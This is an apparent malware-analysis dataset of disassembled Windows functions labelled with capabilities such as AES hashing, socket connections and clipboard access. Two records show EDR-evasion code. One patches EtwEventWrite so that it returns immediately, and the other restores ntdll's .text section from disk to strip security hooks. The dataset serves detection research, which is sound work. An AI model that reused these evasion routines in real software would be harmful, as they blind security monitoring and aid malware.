joyce8/EMBER2024-capa huggingface dataset:
Function at 0x468220
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x404283
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.0040a220
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00466420
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x404260
cmp byte [0x00688bed], 0
je 0x468235
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x465460
jmp 0x404260

Function at 0x468240
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00688f20]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00688bed], 0
je 0x468275
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x00689240]
aesenc xmm0, xmmword [0x00689250]
aesenc xmm0, xmmword [0x00689260]
movq rax, xmm0
ret
jmp 0x40a440

Function at 0x468280
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00688f20]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00688bed], 0
je 0x4682b6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x00689240]
aesenc xmm0, xmmword [0x00689250]
aesenc xmm0, xmmword [0x00689260]
movq rax, xmm0
ret
jmp 0x40a4a0

Function at 0x46a040
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x46a074
mov rcx, 0x28
jmp 0x46a07f
shl rcx, 3
add rcx, 0x1480
mov qword [0x00688e18], rcx
pop rbp
ret
Function at 0x4801a0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4803db
push rbp
mov rbp, rsp
sub rsp, 0x78
mov ebx, dword [rax + 0x2c]
test ebx, ebx
jne 0x48023a
mov qword [rsp + 0x88], rax
lea rbx, [0x0050f200]
mov rcx, rax
lea rax, [0x00604160]
call fcn.0046f920
test cl, cl
jne 0x480223
mov rax, qword [rsp + 0x88]
call fcn.0047f4e0
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x28]
lea rbx, [0x005453d0]
call fcn.00450760
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
call fcn.00481540
mov rcx, qword [rsp + 0x88]
xor edx, edx
jmp 0x480257
lea rdx, [0x0050d100]
cmp rax, rdx
jne 0x480245
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
ret
call fcn.00463da0
add rsp, 0x78
pop rbp
ret
mov rbx, rdx
lea rcx, [0x004f81c0]
call fcn.0040b2a0
inc rdx
cmp rbx, rdx
jle 0x4802a1
mov rsi, qword [rax + rdx*8]
cmp qword [rsi + 0x30], rcx
jne 0x480254
lea rax, [0x00604160]
lea rbx, [0x0050f200]
lea rdi, [0x0050d100]
nop dword [rax + rax]
call fcn.0046fae0
lea rdx, [0x0050d100]
cmp rax, rdx
jne 0x4803cb
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
nop
ret
lea rcx, [0x004f0ee0]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x58], rcx
lea rax, [0x004fd780]
call fcn.0040e5a0
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x58]
test byte [rcx], al
cmp dword [0x00688e50], 0
nop
je 0x4802fb
mov rbx, rax
lea rax, [0x004fd780]
call fcn.00414180
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rcx]
mov qword [rax], rdx
movups xmm0, xmmword [rcx + 8]
movups xmmword [rax + 8], xmm0
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rax + 0x18], xmm0
movups xmm0, xmmword [rcx + 0x28]
movups xmmword [rax + 0x28], xmm0
mov rbx, qword [rsp + 0x48]
xor ecx, ecx
xor edi, edi
xor esi, esi
mov r8d, esi
mov rax, qword [rsp + 0x50]
call fcn.00401480
call fcn.00463e60
mov rsi, qword [rsp + 0x70]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 0
mov rcx, qword [rsp + 0x88]
mov edx, dword [rcx + 0x10]
xor eax, eax
jmp 0x480362
imul edx, edx, 0x1000193
xor edx, 0x2a
mov eax, 1
test rax, rax
jle 0x480354
mov dword [rsi + 0x10], edx
cmp dword [0x00688e50], 0
je 0x480383
call fcn.00468360
mov qword [r11], rcx
mov rdx, qword [rsi + 0x30]
mov qword [r11 + 8], rdx
mov qword [rsi + 0x30], rcx
lea rax, [0x00604160]
lea rbx, [0x0050f200]
lea rdi, [0x0050d100]
nop dword [rax]
call fcn.0046fae0
lea rdx, [0x0050d100]
cmp rax, rdx
jne 0x4803bc
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
ret
mov rbx, rdx
lea rcx, [0x004f81c0]
call fcn.0040b2a0
mov rbx, rdx
lea rcx, [0x004f81c0]
call fcn.0040b2a0
nop
mov qword [rsp + 8], rax
call fcn.00466420
mov rax, qword [rsp + 8]
jmp fcn.004801a0
Function at 0x493e80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x493f4a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.004037a0
xorps xmm15, xmm15
mov r14, qword [0x00688e18]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x493f2f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004f41a0]
xor ebx, ebx
mov rcx, rdx
call fcn.0044c9c0
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00494860
inc rbx
cmp rcx, rbx
jae 0x493f1e
mov edi, 1
lea rsi, [0x004f41a0]
call fcn.0044caa0
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x005471c0]
lea rsi, [0x005464e8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00466420
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00493e80

Function at 0x4cdfc0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4ce6ff
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x4cdfed
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x4ce271
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x4ce29d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x00548fa0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004f40a0]
lea rbx, [0x00546e20]
call fcn.004373c0
inc rax
cmp rax, r8
jge 0x4ce2c2
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x4ce2f7
lea rdi, [0x004f4120]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x4cdfe3
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x4ce2db
jmp 0x4ce2b0
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00466420
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.004cdfc0

Function at 0x4ce8a0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4ce8b7
inc rax
cmp rax, 4
jge 0x4ce8cf
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4ce8b4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4ce8e0
inc rax
cmp rax, 4
jge 0x4ce8ee
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4ce917
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4ce8fb
jmp 0x4ce8dd
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Patch event tracing for windows function

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
call sym.idk.exe_unhook_ntdll
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140001061
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.____GetModuleHandleA_Failed
call fcn.140001110
mov rcx, rax
lea rdx, [0x1400012f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x38
ret
lea rdx, str.EtwEventWrite
mov qword [rsp + 0x30], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x140001087
lea rdx, str.____GetProcAddress_Failed
jmp 0x1400010d9
lea r9, [rsp + 0x20]
mov edx, 3
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400010ad
lea rdx, str.____VirtualProtect_Failed
jmp 0x1400010d9
mov word [rbx], 0xc033
lea r9, [rsp + 0x20]
mov byte [rbx + 2], 0xc3
mov edx, 3
mov r8d, dword [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400010f5
lea rdx, str.____VirtualProtect_Restore_Failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001110
lea rdx, [0x1400012f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x38
ret
Function at 0x1400013a0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
mov r15, rax
lea rcx, str.ntdll.dll
xor eax, eax
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x48], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x48]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov r8d, 1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r12, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
xor r8d, r8d
mov edx, 4
mov r13, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r14, rax
cmp bx, word [rsi + 6]
jae 0x14000153a
lea r8, str..text
xor r15d, r15d
nop dword [rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r15
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001528
cmp rax, 6
jne 0x1400014c0
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, 0x40
mov dword [rsp + 0x60], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x1400014a0
mov r15, qword [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400015a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x140001e68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001eb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001eb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001eb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001eb2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001eb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001eb4
xor al, al
add rsp, 0x28
ret
Function at 0x14000aee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x14000af18
xor eax, eax
jmp 0x14000afdf
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x14000af3a
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x30], rax
jmp 0x14000af64
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x20], eax
mov r8d, 2
mov edx, 4
lea rcx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_gethostbyaddr]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000af7b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000afdf
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov eax, dword [rax]
mov dword [rsp + 0x3c], eax
mov eax, 2
mov word [rsp + 0x38], ax
movzx ecx, word [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x3a], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000afda
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000afdf
mov rax, qword [rsp + 0x28]
add rsp, 0x58
ret

Function at 0x14000bcc0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x20], 1
lea rdx, [0x1403665eb]
mov rcx, qword [rsp + 0x60]
call fcn.1400064f0
nop
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0x400
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
lea rdx, [0x140497840]
mov cx, 0x101
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000bd4f
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14000bd45
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x60]
call fcn.1400067e0
mov rax, qword [rsp + 0x60]
jmp 0x14000bddd
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x24]
mov rcx, qword [rsp + 0x68]
call fcn.14000bdf0
mov qword [rsp + 0x30], rax
cmp dword [rsp + 0x24], 0
je 0x14000bdb0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
call fcn.14000a2a0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov edx, 1
mov rcx, qword [rsp + 0x40]
call fcn.1403175a4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov edx, 1
mov rcx, qword [rsp + 0x48]
call fcn.1403175a4
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14000bdd8
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x60]
call fcn.1400067e0
mov rax, qword [rsp + 0x60]
add rsp, 0x58
ret
Function at 0x140011d00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x30]
call fcn.140013a80
nop
lea rax, [0x140010d80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x30]
call fcn.1400085d0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140011d8f
lea rcx, [rsp + 0x30]
call fcn.140035280
jmp 0x140011da6
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x30]
call fcn.140017580
add rsp, 0x58
ret

Function at 0x140019c80
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, recv
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
call fcn.140009a50
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret

Function at 0x140019d00
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rcx, qword [rsp + 0x60]
call fcn.1400074e0
lea rax, [rax + rax + 2]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call fcn.14001dff0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x28]
movzx ecx, word [rsp + 0x20]
mov word [rax], cx
mov rax, qword [rsp + 0x30]
add rax, 2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
add rax, 2
mov qword [rsp + 0x28], rax
cmp word [rsp + 0x20], 0
jne 0x140019d5b
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [rsp + 0x38]
mov ecx, recv
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
add rsp, 0x58
ret
Function at 0x14001add0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14001adfb
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001ae02
mov al, 1
jmp 0x14001af5c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000b050
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000b050
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.14000b0a0
movzx eax, al
test eax, eax
je 0x14001ae59
xor al, al
jmp 0x14001af5c
mov qword [rsp + 0x68], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14001aec9
cmp dword [rsp + 0x30], 1
je 0x14001aed5
cmp dword [rsp + 0x30], 3
je 0x14001af4a
jmp 0x14001af5a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x14001af21
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x14001af21
xor al, al
jmp 0x14001af5c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001af3b
mov dword [rsp + 0x34], 1
jmp 0x14001af43
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14001af5c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001af5c
xor al, al
add rsp, 0xa8
ret
Function at 0x14001af70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x14001af9b
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x14001afa2
mov al, 1
jmp 0x14001b100
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
call fcn.1400206e0
mov word [rsp + 0x30], ax
movzx edx, word [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
call qword [rsp + 0x48]
mov word [rsp + 0x32], ax
call fcn.1400206e0
mov word [rsp + 0x34], ax
lea rdx, [rsp + 0x32]
lea rcx, [rsp + 0x34]
call fcn.1400206f0
movzx eax, al
test eax, eax
je 0x14001affd
xor al, al
jmp 0x14001b100
mov qword [rsp + 0x60], 0x20
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x88]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x68]
mov rdx, rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14001b06d
cmp dword [rsp + 0x38], 1
je 0x14001b079
cmp dword [rsp + 0x38], 3
je 0x14001b0ee
jmp 0x14001b0fe
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x72], 0
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x14001b0c5
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x40], rax
je 0x14001b0c5
xor al, al
jmp 0x14001b100
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x14001b0df
mov dword [rsp + 0x3c], 1
jmp 0x14001b0e7
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
jmp 0x14001b100
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x72], 0
mov al, 1
jmp 0x14001b100
xor al, al
add rsp, 0x98
ret